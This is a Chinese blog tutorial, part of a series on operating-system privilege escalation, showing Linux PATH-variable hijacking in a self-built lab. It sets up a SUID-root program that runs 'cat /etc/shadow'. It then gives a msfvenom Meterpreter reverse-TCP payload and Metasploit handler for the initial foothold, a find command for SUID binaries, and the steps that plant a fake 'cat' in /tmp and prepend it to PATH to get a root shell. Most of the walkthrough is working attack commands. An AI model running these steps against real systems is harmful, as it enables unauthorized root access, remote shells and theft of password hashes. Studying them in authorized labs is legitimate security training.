操作系统权限提升(二十一)之Linux提权-环境变量劫持提权

系列文章

操作系统权限提升(十八)之Linux提权-内核提权
操作系统权限提升(十九)之Linux提权-SUID提权
操作系统权限提升(二十)之Linux提权-计划任务提权

环境变量劫持提权

环境变量劫持提权原理

PATH是Linux和类Unix操作系统中的环境变量,类似windows中的path环境变量,当我们执行一个命令的时候shell会先检查命令是否是系统内部命令,如果不是则会再去检查此命令是否是一个应用程序,shell会试着从PATH中逐步查找命令,查看环境变量命令如下:

echo $PATH #查看环境变量

在这里插入图片描述

如果我们可以在环境变量中写入自己的环境变量,然后写一个自己的恶意命令,从而达到提权的目的

提权准备

假设管理员用户在/home目录下创建了一个demo.c文件,内容如下,执行查看shadow文件命令,setuid 规定了其运行用户,以root权限进行编译和权限设置

#include<unistd.h>
void main() {
setuid(0);
setgid(0);
system("cat /etc/shadow");
}

在这里插入图片描述

然后使用gcc进行编译

gcc demo.c -o shell

在这里插入图片描述

运行 shell 命令就是打开shadow文件

在这里插入图片描述

赋予shell文件SUID权限 chmod u+s shell

在这里插入图片描述

接下来就可以进行提权了

提权实战

首先上线机器

msfvenom -p linux/x64/meterpreter/reverse_tcp LHOST=192.168.0.105 LPORT=8888 -f elf > mshell.elf

use exploit/multi/handler
set payload linux/x64/meterpreter/reverse_tcp
set lhost 192.168.0.105
set lport 8888
run

在这里插入图片描述
在这里插入图片描述

可以看到目前我们的用户是一个普通用户daoer的权限

接下来用命令查找SUID文件,发现一个shell文件被配置了SUID

find / -user root -perm -4000 -print 2>/dev/null

在这里插入图片描述

运行shell文件,发现是查看/etc/shadow的命令

在这里插入图片描述

那么我们劫持cat命令,达到提权的目的

echo "/bin/bash" > /tmp/cat
chmod 777 cat
ls -al cat
echo $PATH
export PATH=/tmp:$PATH
/home/shell
whoami

在这里插入图片描述

提权成功

posted @ 2023-03-01 14:20  私ははいしゃ敗者です  阅读(57)  评论(0编辑  收藏  举报  来源